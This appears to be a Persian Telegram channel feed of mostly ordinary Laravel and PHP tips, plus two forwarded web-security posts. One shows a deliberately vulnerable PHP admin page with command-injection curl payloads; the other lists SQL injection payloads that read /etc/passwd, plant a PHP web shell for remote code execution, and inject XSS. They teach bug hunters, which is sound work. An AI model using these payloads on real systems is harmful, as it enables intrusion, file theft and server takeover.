Golden Code – Telegram
Golden Code
737 subscribers
53 photos
248 links
نکات laravel, php و...
Download Telegram
Forwarded from CleverDevs (Mammad)
-اصل Vertical Openness Between Concepts در کلین کد

کاملا ساده و مختصر این اصل میگه که بین بخش های مختلف کدتون یکی دو خط فضای خالی بزارید فاصله بیوفته بینشون مثلا کد زیر رو ببنید

import CleverDevs from telegram
function helloWorld(){
console.log("hello world");
}
function sendStarRaction(){
console.log('send star reaction on CleverDevs Posts');
}

تو کد بالا بین بخش های مختلف کد فاصله ای نذاشتیم حالا اگه کدمون بیشتر و پیچیده تر بشه خوندنش خیلی سخت تر میشه حالا اگه بیایم و مثل کد پایین یه خط خالی بین هر بخشی از کد بزاریم خوندنش به مراتب راحت تر میشه

import CleverDevs from telegram

function helloWorld(){
console.log("hello world");
}

function sendStarRaction(){
console.log('send star reaction on CleverDevs Posts');
}


حالا چون تو این پست نمیشد مثال بزرگتری زد اونقدرا تفاوتشون معلوم نمیشه ولی تو کدبیس های بزرگتر رعایت همین یه موضوع تفاوت چشمگیری ایجاد میکنه

#CleanCode
@CleverDevs - @CleverDevsGp
👍83
لاراول با Artisan به ما امکان این رو داده تا وضعیت دیتابیس رو در ترمینال به خوبی بتونیم بررسی کنیم.

حالا یه سری کامند رو مرور کنیم:
Php artisan db:table 

(میاد ی آمار جامع و عالی از دیتابیس میده)
Php artisan db:monitor

(بررسی تعداد کانکشن های دیتابیس(خیلی خفنه و آپشنای ديگه هم داره)
Php artisan db:show

(یه نمای کلی از db و تعداد کانکشن های فعال و نوع دیتابیس...)
@GoldenCodeir
( منبع و مثالش)
https://x.com/OussamaMater/status/1833235842321756608?t=zoRINh3pYLRRThSPXX5cXw&s=19

علاوه بر منبع، اینم یه مقاله جامع:👇🏾
https://magecomp.com/blog/laravel-9-new-database-commands/
👍8🔥1
Forwarded from CleverDevs (Mammad)
-اصل Do One Thing در کلین کد

این اصل میگه هر تابعی باید فقط یه کار انجام بده و اگه نیاز به دوتا کار شد باید دوتا فانکشن بکنیش


FUNCTIONS SHOULD DO ONE THING. THEY SHOULD DO IT WELL THEY SHOULD DO IT ONLY.


اگه یک تابع فقط مراحلی رو انجام میده که به اسمش میخوره یعنی فقط یک کار میکنه و کارت درسته


#CleanCode
@CleverDevs - @CleverDevsGp
6👍3🔥1
در لاراول orderByRaw بهتون این امکان رو میده که نتایج رو بتونید بر اساس یه سری محاسبات خاصی مرتب کنید.

مثلا ؟
میتونیم نتایج رو بر اساس اختلاف بین دو ستون ( قیمت و تخفیف) مرتب کنیم!
این آپشن یه سری جاها کدارو واقعا بهینه میکنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1836004683594469864?t=IGgicccC4LllTLBm0hRviw&s=19
👍43
Forwarded from Web Application Security
یه آسیب پذیری ظاهرا بی ارزش =

کد زیر رو در نظر بگیرین:
<?php
session_start();
if($_SESSION['is_admin'] != true)
{
header("Location: /home.php");
}
// Application code is here
?>

سناریو اینه که این فایل مربوط به یکی از فایل های پنل ادمینه که طبیعتا باید فقط ادمین دسترسی داشته باشه، از داخل sessionی که برای هر کاربر ست کرده چک میکنه ببینه اگه سطح دسترسی ای که به این کاربر داده ادمین نبود redirect کنه به صفحه home.
مشکلی که تو این کد هست اینه که درسته redirect میکنه ولی جلوی اجرا شدن کد رو نمیگیره بعد redirect و باعث میشه مابقی کد هم اجرا بشن بعد redirect. ولی چه تهدیدی داره؟
1⃣ افشا شدن response بعد از redirect :
اگه با دستور زیر به اون مسیر curl بزنیم میتونیم کل ریسپانس رو ببینیم:
curl https://target.com/admin_panel.php

نکته : ما فقط میتونیم response رو ببینیم نه سورس کد اپلیکیشن. ممکنه برنامه نویس از توابعی استفاده کرده باشه که اطلاعات مهمی رو روی صفحه چاپ کنه مثل echo. برای درک بهتر کد زیر رو در نظر بگیرید :
<?php
if($_SESSION['is_admin'] != true)
{
hedaer("Location : /home.php");
}

echo "username : adm2ish";
echo "password : pa19ehw";
?>

2⃣ تست آسیب پذیری های مختلف!
کد زیر رو در نظر بگیرین:
<?php
session_start();
if($_SESSION['is_admin'] != true)
{
header("Location: /home.php");
}
if (isset($_GET['cmd']) && !empty($_GET['cmd'])) {
$admin_input = $_GET['cmd'];
echo system("ping $admin_input");
} else {
echo "No command provided.";
}
?>

آسیب پذیری ای که این کد داره Command Injectionهست. ولی نکته ای که مهمه اینه که این صفحه چون redirect میکنه خیلیا اینجا parameter fuzz انجام نمیدن و آسیب پذیری های این صفحه فقط با دسترسی ادمین قابل دیدن و تست کردنه، ولی بخاطر اشتباه برنامه نویس مهاجم میتونه parameter fuzz انجام بده و آسیب پذیری های مختلفی رو تست کنه که بسته به logic برنامه ممکنه آسیب پذیری های مختلفی رو داشته باشه. اگه باگ هانترین حتما به این نکته توجه داشته باشین موقع مواجه شدن با redirect ها.
نمونه پیلود با curl برای تست آسیب پذیری :

curl "https://target.com/admin_panel.php?cmd=1.1.1.1|whoami"
curl "https://target.com/admin_panel.php?cmd=1.1.1.1||whoami||"
curl "https://target.com/admin_panel.php?cmd=1.1.1.1;whoami"

نکته مهم : کد های نوشته شده با php رو اگه تو سیستمتون اجرا کنین به درستی کار نمیکنن چون باید خودتون session کاربر رو ست کنین.

⁉️روش جلوگیری چیه؟

بعد redirect باید جلوی اجرا شدن ادامه کد رو بگیریم که میتونیم با توابع زیر انجام بدیم:
<?php
exit()
die()
?>

اسم آسیب پذیری :
Execution After Redirect = EAR

#EAR
#parameter_fuzz
👍14👏21👎1
Forwarded from Gopher Academy
🔰تعریف مهندسی معکوس

مهندسی معکوس یک فرایند حل مسئله است که به جای آنکه از سوال آغاز شود، از پاسخ موجود آغاز می‌شود.

🔵کاربرد اصلی مهندسی معکوس در یکی از دو مورد زیر است:

🔴وقتی جواب یک مسئله را می‌دانیم. اما نمی‌دانیم این جواب پاسخ به چه سوالی است.

🔴وقتی سوال و پاسخ را می‌دانیم. اما نمی‌دانیم مسیر و فرایند رسیدن به این پاسخ چه بوده است.


👑 @gopher_academy
👍51🔥1
متود times در لاراول برای ایجاد یک Collection و تکرار یک تابع به تعداد مشخصی استفاده میشه.
ینی چی؟

این متد بهتون این امکانو میده تا یک تابع رو به تعداد مشخصی اجرا کنید و نتایجش رو در یک Collection جمع‌آوری کنید.

خروجیه پایین چیزی شبیه به [1, 2, 3] میشه
times(3, function($number) {
return $number;
})

#laravel
@GoldenCodeir
(در منبع مثال دیگه هم گفته شده👇🏾)
https://x.com/laravelbackpack/status/1838541404689318158?s=19
6🔥3
Forwarded from Web Application Security
Authentication & Authorization =

پروتکل HTTP یک پروتکل stateless هست. اگه شخصی دوبار پشت سرهم به وب سرور درخواست بفرسته، HTTP متوجه نمیشه که این کاربر همون کاربر قبلیه که درخواست فرستاده بود یعنی وضعیت کاربر رو نگه نمیداره. واسه حل این مشکل پروتکل باید وضعیت کاربر رو جایی ذخیره کنیم(باید یک شناسه از کاربر رو نگه داریم). یکی از اولین ویژگی ها و مکانیزمی که واسه این کار به وجود اومد session بود. برنامه نویس بعد از login برای کاربر یک session سمت سرور ست میکرد که بتونه کاربر رو بشناسه و Authentication و Authorization رو میتونست هندل کنه. session سمت سرور معمولا داخل یک فایل ذخیره میشه و بعد بسته شدن مرورگر کاربر از بین میره.

حالا Authentication و Authorization چین؟ Authentication مشخص میکنه من کیم و ما تو این مرحله باید ثابت کنیم که چه کسی هستیم. Authorization بعد از مرحله Authentication میاد و مشخص میکنه کاربر به چه چیز هایی دسترسی داره(سطح دسترسی های مختلفی تو یک web application وجود داره، هر کاربر فقط باید بتونه اطلاعات خودش رو ویرایش کنه و ببینه و همچنین کاربر معمولی نباید به فایل های ادمین سایت دسترسی داشته باشه)
کوکی یا cookie چیه؟
بخاطر مشکلی که session داشت و بعد بستن مرورگر از بین میرفت، cookie رو ساختن. Cookie تو مرورگر کاربر ذخیره میشه و طول عمرش دست برنامه نویسه و به خاطر همین کاربر میتونه مدت زمان بیشتری لاگین باشه. Session ID که سمت سرور بود رو به صورت encrypt داخل cookie قرار میدن که کاربر نتونه دست کاریش کنه. به ازای هر درخواستی که کاربر میفرسته سمت سرور، مرورگر به صورت خودکار cookie رو هم واسه اون دامنه میفرسته.
انواع روش های Authentication:
1⃣ Basic Authentication
2⃣ Dijest Authentication
3⃣ Form base Authentication
4⃣ Certificate Authentication
5⃣ Integrated Windows Authentication
6⃣ Token base Authentication(JWT in header)
7⃣ OAuth
8⃣ SSO

هر کدوم از روش های Authentication محدودیت ها و آسیب پذیری های مربوط به خودش رو داره. برای مثال :
- تو token base Authentication آسیب پذیری هایی مثل csrf و cors misconfiguration و cache deception به وجود نمیاد.
- وقتی اطلاعات تو cookie یا localstorage ذخیره میشه با xss میشه اطلاعات رو خوند ولی اگه تو header باشه با xss نمیتونیم بخونیمش.
- روش Basic Authentication آسیب پذیره به MITM.
- تو OAuth یک آسیب پذیری نسبتا بی ارزش مثل open redirect میتونه منجر به Account Takeover بشه.
- روش Integrated Windows Authentication مختص شبکه های مایکروسافتیه.
- روش های certificate Authentication و Integrated Windows Authentication رو تو شبکه های داخلی معمولا استفاده میکنن.
- اگه private key تو certificate Authentication لو بره منجر به mitm میشه.
- وقتی از session استفاده بشه کاربر نمیتونه دست کاریش کنه بر خلاف سایر موارد که سمت کاربر ذخیره میشه(برنامه نویس باید با encryption جلوی تغییر cookie/jwt و.... رو بگیره).
- تو form base Authentication اگه مواردی مثل Error handling رو انجام ندیم ممکنه آسیب پذیری username enumeration به وجود بیاد.

#Authentication
👍5🙏1
متود "flexible" در لاراول بهمون این امکان رو داده که cache داده‌ها رو به‌طور بهینه‌تر مدیریت کنیم.
با استفاده ازین متود میتونیم خیلی راحت داده‌های کش‌شده رو قبل از expire شدنشون دوباره بررسی و به‌روزرسانی بکنیم.

ینی چی؟
اگر داده‌های جدیدی در پایگاه داده وجود داشته باشد، کش به‌روز میشه و در غیر این صورت از کش موجود استفاده میشه.

این روش به ما کمک میکنه تا دیتای بروزتری داشته باشیم و از مشکلاتی که ممکنه در زمان استفاده از کش پیش بیاد جلوگیری کنیم.
#Laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1839394644100350400?t=95Pm5MBtwXfTQnL-FB5u-Q&s=35
👍5
چرا PHP نسبت به بقیه زبان‌ها کندتر است و راهکار چیست؟ قسمت دوم


کندی PHP برای شرکت‌ها و سازمان‌های بزرگی مانند فیسبوک به یک چالش جدی تبدیل شده بود، زیرا هر فرآیند از ابتدا شروع می‌شد و این بار اضافی برای سازمان‌ها توجیه‌پذیر نبود. به همین دلیل فیسبوک تصمیم گرفت معماری HHVM را طراحی کند، که کد PHP را به بایت‌کد تبدیل کرده و به‌صورت Just-In-Time (JIT) کامپایل می‌کرد.

حالا JIT برای PHP چه کاری انجام می‌دهد؟
برای توضیح بهتر، تصور کنید یک تعمیرکار یخچال برای تعمیر روزانه در منازل، همه ابزارهای خود را با خودش ببرد. این کار نه تنها او را خسته می‌کند، بلکه باعث مصرف بیش از حد انرژی و منابع هم می‌شود.

اما اگر او فقط ابزارهای مورد نیاز برای تعمیر هر یخچال را همراه داشته باشد، کارش سریع‌تر و بهینه‌تر انجام می‌شود.

و jit دقیقاً همین کار را برای کامپایل یک برنامه انجام می‌دهد؛ یعنی هر بخش از کد فقط زمانی که به آن نیاز باشد، کامپایل و اجرا می‌شود.

فیسبوک با این روش تونست یک پلتفرم بزرگ رو در اون زمان با php که تقریبا در زبان php ناممکن به نظر میرسید رو عملی کنه

@DevTwitter | <Farhad Safari/>
👍91
در لاراول وقتی scheduled tasks تعریف میکنین میتونید از دو تابع زیر برای مدیریت نتایج کمک بگیرید که خب باعث میشه در برابر وضعیت تسک هامون اقدامات مرتبط رو به خوبی بتونیم پیاده کنیم.

onSuccess():
اگه task با موفقیت انجام شه این تابع اجرا میشه و میتونید کارهایی مثل ثبت لاگ یا ارسال نوتیفیکیشن و... انجام بدید.

onFailure():
اگر هم تسک با خطا مواجه بشه این تابع اجرا میشه و میتونید عملیات هایی مثل ارسال ایمیل به ادمین یا ثبت خطا رو انجام بدید.
#laravel
@GoldenCodeir
(به منبع و مثالش توجه کنین👇🏾)
https://x.com/laravelbackpack/status/1842527664109965708?t=jW6mq8pujDOiYX00Ls6UYg&s=19
👍41
در لاراول، میتونیم یک متود ماکرو به نام response()->api() بسازیم که response های JSON رو ساده‌تر کنه !

این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظم‌تر و مدیریتش هم راحت‌تر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35
👏6👍2
Forwarded from آموزش لاراول | LaravelHub (rwx-rwx-rwx)
🔥 آموزش Broadcasting توی لاراول (با مثال) 🔥

رفقا، امروز می‌خوایم بریم سراغ یه قابلیت خف ن تو لاراول به اسم Broadcasting! با این قابلیت می‌تونین یه‌سری رویدادها رو زنده (real-time) برای کاربرهاتون بفرستین. یعنی مثلاً تو چت آنلاین، اعلان‌های لحظه‌ای یا هر چیز دیگه که لازمه سریع به کاربر برسه، این خیلی کارآمده. 😎

خب بریم ببینیم چجوری می‌تونیم این کار رو انجام بدیم! 👇

قبل از هرچیزی باید Broadcasting رو تو پروژه‌تون راه بندازین. توی فایل .env، بیاین و Broadcasting رو روی سرویس Pusher تنظیم کنیم. البته می‌تونین Redis یا Socket.io هم استفاده کنین، ولی اینجا با Pusher می‌ریم جلو. 💻

تو فایل .env اینا رو اضافه کنین:

BROADCAST_DRIVER=pusher

PUSHER_APP_ID=your-app-id
PUSHER_APP_KEY=your-app-key
PUSHER_APP_SECRET=your-app-secret
PUSHER_HOST=
PUSHER_PORT=443
PUSHER_SCHEME=https
PUSHER_APP_CLUSTER=mt1

بعدش باید کتابخونه pusher رو نصب کنین:
composer require pusher/pusher-php-server

حالا میریم سراغ تنظیمات بیشتر!
بعد از تنظیمات اولیه، باید یه سری کانفیگ توی فایل config/broadcasting.php انجام بدیم. تو این فایل، Pusher رو به عنوان درایور انتخاب کنید:
'connections' => [
'pusher' => [
'driver' => 'pusher',
'key' => env('PUSHER_APP_KEY'),
'secret' => env('PUSHER_APP_SECRET'),
'app_id' => env('PUSHER_APP_ID'),
'options' => [
'cluster' => env('PUSHER_APP_CLUSTER'),
'useTLS' => true,
],
],
],

حالا وقتشه یه ایونت درست کنیم! با دستور زیر یه ایونت به اسم MessageSent می‌سازیم:

php artisan make:event MessageSent

این دستور یه کلاس توی پوشه app/Events می‌سازه. حالا بیاین تو این فایل کد زیر رو اضافه کنیم:
class MessageSent implements ShouldBroadcast
{
public $message;

public function __construct($message)
{
$this->message = $message;
}

public function broadcastOn()
{
return new Channel('chat');
}
}

تو این مثال، وقتی یه پیغام ارسال می‌شه، ما این ایونت رو برای کانال chat broadcast می‌کنیم. ✉️
حالا باید توی کدی که داریم، ایونت رو بفرستیم. مثلاً توی کنترلر:

event(new MessageSent('سلام! این یه پیام لایو از طرف علیرضا هست'));

این کد باعث می‌شه که پیغام به صورت real-time بره برای کسایی که تو کانال chat عضو هستن. 💬
برای اینکه از طرف کاربرها پیام‌ها رو دریافت کنیم، باید توی سمت فرانت هم یه سری تنظیمات انجام بدیم. اگه از Vue.js یا React استفاده می‌کنین، می‌تونین از Laravel Echo استفاده کنین که کدتون رو خیلی راحت‌تر و تمیزتر می‌کنه.

اول laravel-echo و pusher-js رو نصب کنین:

npm install --save laravel-echo pusher-js

بعد توی فایل جاوااسکریپت‌تون، چیزی مثل این رو تنظیم کنین:
import Echo from "laravel-echo";
window.Pusher = require('pusher-js');

window.Echo = new Echo({
broadcaster: 'pusher',
key: process.env.MIX_PUSHER_APP_KEY,
cluster: process.env.MIX_PUSHER_APP_CLUSTER,
encrypted: true
});

window.Echo.channel('chat')
.listen('MessageSent', (e) => {
console.log(e.message);
});

به همین راحتی! وقتی پیامی ارسال بشه، شما اون رو از طریق جاوااسکریپت توی مرورگر می‌گیرید و می‌تونید هر کاری که می‌خواید باهاش انجام بدید! 😍
خلاصه اگه یه اپلیکیشن دارین که نیاز به رویدادهای زنده داره، Broadcasting تو لاراول می‌تونه بهترین راه‌حل باشه. با استفاده از Pusher و Laravel Echo، کارتون خیلی سریع و تمیز انجام می‌شه.

سوالی داشتین تو کامنت‌ها بپرسین! 😁

🔥⚡️ کانال آموزشی LaravelHub
@LaraveHub
👍42🔥2
متود emailOutputOnFailure در لاراول به ما این امکان رو میده که اگه یک Command دچار خطا شد، خروجی خطا بطور خودکار به ایمیلمون ارسال بشه.

مثلا چی؟
وقتی یک عملیات API با مشکل مواجه میشه، به جای بررسی لاگ‌ها، خیلی سریع ازین موضوع مطلع میشیم!
این متود در شناسایی و حل سریع مشکلات میتونه مفید واقع بشه.
#laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1848448292037746738?s=19
2👍2
This media is not supported in your browser
VIEW IN TELEGRAM
~> ACID Properties

‏ACID یه سری خصوصیات کلیدی هستش که تو دیتابیس‌های رابطه‌ای برای تضمین صحت تراکنش‌ها (Transactions) استفاده می‌شه. این مفهوم اولین بار سال 1983 توسط Theo Härder و Andreas Reuter معرفی شد.

حالا ACID مخفف چیه؟!⬇️

‏Atomicity (اتمی بودن): یعنی یه تراکنش یا باید کامل انجام بشه یا اصلا انجام نشه. مثلا وقتی پول از یه حساب بانکی به حساب دیگه منتقل می‌شه، یا باید هم کم شدن از حساب اول و هم اضافه شدن به حساب دوم انجام بشه، یا هیچکدوم انجام نشه. حالت نصفه و نیمه نداریم. اگه وسط کار مشکلی پیش بیاد، عملیات Rollback می‌شه.

‏Consistency (سازگاری): یعنی دیتابیس باید همیشه تو حالت معتبر (valid) باشه، چه قبل تراکنش و چه بعدش. مثلا اگه قانون داریم که موجودی حساب نباید منفی بشه، هیچ تراکنشی نمی‌تونه این قانون رو نقض کنه. اگه تراکنشی بخواد این کار رو بکنه، کامل کنسل می‌شه.

‏Isolation (انزوا): یعنی تراکنش‌های همزمان نباید روی هم تاثیر بذارن. مثلا اگه دو نفر همزمان از یه حساب برداشت می‌کنن، سیستم باید طوری مدیریت کنه که نتیجه نهایی درست باشه. این کار با مکانیزم‌های مختلف Locking انجام می‌شه.

سطوح مختلف Isolation وجود داره:
‏- Read Uncommitted: کمترین سطح ایزوله بودن.
‏- Read Committed: فقط تغییرات تایید شده دیده می‌شن.
‏- Repeatable Read: خوندن‌های تکراری نتیجه یکسان می‌دن.
‏- Serializable: بالاترین سطح ایزوله بودن.

‏Durability (ماندگاری): یعنی وقتی تراکنشی موفق انجام شد (Commit شد)، تغییراتش باید دائمی باشه و حتی با قطع برق یا کرش سیستم هم از بین نره. این کار معمولا با Write-Ahead Logging‏ (WAL) انجام می‌شه.

تو دنیای واقعی گاهی باید بین این خصوصیات تعادل برقرار کرد. مثلا NoSQL‌ها معمولا از مدل BASE استفاده می‌کنن که Basically Available, Soft State, Eventually Consistent هستش و سازگاری کمتری داره ولی در عوض مقیاس‌پذیری (Scalability) بیشتری داره.

PostgreSQL یکی از بهترین پیاده‌سازی‌های ACID رو داره و می‌تونه همه سطوح Isolation رو ساپورت کنه. MySQL هم ACID رو پشتیبانی می‌کنه ولی فقط با موتور InnoDB، موتور MyISAM این قابلیت رو نداره.

یه نکته جالب اینه که پیاده‌سازی ACID روی عملکرد (Performance) دیتابیس تاثیر منفی می‌ذاره. به همین خاطر بعضی سیستم‌ها مثل Redis از تکنیک‌های خاصی مثل AOF‏ (Append-Only File) استفاده می‌کنن تا تعادل بهتری بین کارایی و تضمین‌های ACID برقرار کنن.

#نرم_افزار #علوم_کامپیوتر #نوشته
~> @PinkOrca 🩷
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5👏1🙏1
یکمی هم طنز بریم😂❤️
😁12💔1
Forwarded from Web Application Security
آسیب پذیری SQL injection =

از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.

فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

1⃣ تبدیل SQLi به XSS:
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود <img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.
app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

و XSS اتفاق میفته.

2⃣ خوندن فایل های درون سرور:
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

3⃣ ساختن و نوشتن فایل درون سرور:
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami

4⃣ دسترسی به سایر دیتابیس ها:
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version

ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.

به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.

#SQLi
🔥4👍1👏1
قابلیته aware در لاراول به ما این امکان رو میده که props کامپوننت اصلی رو به کامپوننت‌های فرزند منتقل کنیم!
بدون اینکه نیازی به تعریف دوباره ی اونا داشته باشیم. این ویژگی باعث کمتر شدنه تکرار کد و بهبود ساختار برنامه میشه. با این کار فرزند میتونه به راحتی به اطلاعات ‌والد دسترسی داشته باشه و کدمون تمیزتر خواهد بود.
#laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1852091480598368686?s=35
2👍1
Forwarded from Pishro App
سلام بچه ها همونطور که میدونید Scheduler در #لاراول، ابزاری هست که به ما این امکان رو میده تا دستورات و کارها را بدون نیاز به تنظیمات پیچیده بصورت زمان‌بندی‌شده اجرا کنید.


با استفاده از Scheduler، میتونیم کارهایی مثل ارسال ایمیل، پاک‌سازی پایگاه‌داده، انجام عملیات های دوره ای، یا انجام وظایف تکراری را به‌سادگی انجام بدیم.

توی Scheduler لاراول یه متد وجود داره بنام skip، این متد در زمان‌بندی (Scheduler) به ما این امکان رو میده که اجرای یه دستور رو تو شرایط خاصی متوقف کنیم.

در واقع، متد skip یه شرط تعیین میکنه که اگه اون شرط برقرار باشه، اجرای دستور مربوطه در زمان‌بندی به صورت خودکار نادیده گرفته میشه و در آن زمان اجرا نشود

مثلا فرض کنید شما میخواید به کاربرانتون هر روز هفته ایمیل خاصی رو اجرا کنید بجز روز های تعطیل

با این متد می تونید به راحتی بصورت زیر اینکار رو انجام بدین


$schedule->command('emails:send')->daily()->skip(function () {
return Calendar::isHoliday();
});


تو نمونه‌ی بالا شرط skip تعیین کرده که اگه متد Calendar::isHoliday() مقدار true برگرداند (یعنی آن روز، تعطیل باشه)، این دستور اجرا نشود.


#laravel


👾 @pishroapp
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7👏1
در لاراول اگه بخوایم یک Job رو به صف (Queue) ارسال کنیم ،از کدوم متود باید استفاده بشه؟
Final Results
12%
dispatchNow()
32%
queue()
8%
handle()
48%
dispatch()
5🔥1
در لاراول Deferred Providers یعنی یک Service Provider فقط زمانی بارگذاری میشه که نیاز بهش باشه. به این معنی که اگه یک سرویس فقط در مواقع خاصی استفاده بشه، لاراول تا وقتی که به اون سرویس نیاز نباشه اونو بارگذاری نمیکنه !

این کار باعث بهبود performance میشه. برای استفاده ازین ویژگی، کافیه که از یک متود تحت عنوان DeferrableProvider استفاده کنید تا مشخص کنید این Provider فقط وقتی لازم است، فعال بشه.
#laravel
@GoldenCodeir
(به‌منبع و مثالش دقت کنید 👇🏾)
https://x.com/OussamaMater/status/1853545833624449210?t=NJ15b0FWU2ddZxhJJnUGug&s=35
👍8🔥2